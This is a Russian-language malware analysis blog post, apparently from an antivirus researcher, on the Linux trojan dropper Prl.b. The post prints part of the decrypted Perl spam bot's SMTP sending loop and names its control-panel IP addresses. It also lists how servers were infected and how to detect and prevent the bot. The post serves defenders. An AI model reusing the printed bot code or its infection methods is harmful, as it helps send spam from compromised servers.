И еще раз о безопасности *nix
Учитывая, что мой предыдущий пост был принят в штыки многими линуксоидами, думаю, будет логично рассмотреть более подробно указанный пример, тем более что на днях к нам поступила новая модификация Trojan-Dropper.Linux.Prl.
Trojan-Dropper.Linux.Prl.b
Имя файла: ob.pl. Тип файла: ELF. Обнаружен пользователем на своём сервере после публикации предыдущего блогпоста. Принцип работы остался прежний — создание процесса «/usr/bin/perl» и передача ему через pipe Perl-скрипта.
Сам скрипт хранится в теле трояна в зашифрованном виде. Алгоритм расшифровки при этом выглядит так:
Алгоритм расшифровки Perl-скрипта.
Основная цель работы расшифрованного Perl-скрипта — рассылка спама.
Часть Perl-скрипта, отвечающего за рассылку писем:
if ($session->{$handle}{status} eq "mx_rd")
{
$session->{$handle}{buffer} = "HELO $buffers->{helo}x0Dx0A";
$session->{$handle}{status} = "mx_gr";
}
elsif ($session->{$handle}{status} eq "mx_gr")
{
my ($mail) = &mail($session->{$handle}{sender});
$session->{$handle}{buffer} = "MAIL FROM: <$$mail>x0Dx0A";
$session->{$handle}{status} = "mx_mf";
}
elsif ($session->{$handle}{status} eq "mx_mf")
{
my ($mail) = &mail($session->{$handle}{object});
$session->{$handle}{buffer} = "RCPT TO: <$$mail>x0Dx0A";
$session->{$handle}{status} = "mx_rt";
}
elsif ($session->{$handle}{status} eq "mx_rt")
{
$session->{$handle}{buffer} = "DATAx0Dx0A";
$session->{$handle}{status} = "mx_dt";
}
elsif ($session->{$handle}{status} eq "mx_dt")
{
$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender});
$session->{$handle}{buffer} .= "x0Dx0A.x0Dx0A";
$session->{$handle}{status} = "mx_dr";
}
elsif ($session->{$handle}{status} eq "mx_dr")
{
$buffers->{good}[0] ++;
$buffers->{good}[1] .= "$session->{$handle}{object}x0A" if $buffers->{level};
$session->{$handle}{object} = "";
$session->{$handle}{buffer} = "QUITx0Dx0A";
$session->{$handle}{status} = "mx_qt";
Пример рассылаемых писем.
В боте при этом указаны IP-адреса, где установлены административные панели для его работы: 195.144.21.122, 195.144.21.124 и 194.54.83.114.
Откуда дровишки?
Прочитав несколько топиков на различных форумах по данному вопросу и связавшись с администраторами нескольких зараженных серверов, нам удалось выяснить, что данные спам-боты появились на их серверах вследствие 3-х основных причин:
- кража пароля от FTP, с помощью вредоносных программ;
- перебор паролей от FTP, SSH по словарю;
- проникновение через phpbb.
Во всех трёх случаях загрузка спам-бота сопровождалась изменением HTML-файлов и вставкой в них iframe’ов на зараженные сайты.
Обнаружение, лечение, предупреждение повторного заражения
В общем случае обнаружить работу спам бота можно просто с помощью команды «ps -aux». При этом можно выделить три случая, характерных для заражения данным ботом — в зависимости от способа, которым злоумышленник установил его на систему:
- интерпретатор Perl запущен с параметрами -w и путем к файлу, непосредственно содержащим указанный спам-бот (характерен для случая проникновения через phpbb);
- Perl с параметром -w и путём к файлу, отсутствующему на сервере. (характерен для случая с кражей пароля от FTP с помощью троянских программ);
- Perl, запущенный без параметров с помощью дроппера (характерен при переборе пароля).
Из всего выше указанного можно сделать простые выводы для предотвращении заражения машин этим спам-ботом:
- Использовать сложные пароли
- Использовать последние версии продуктов установленных на сервере
- Следить за безопасностью на всех компьютерах, используемых для доступа к сайтам.
|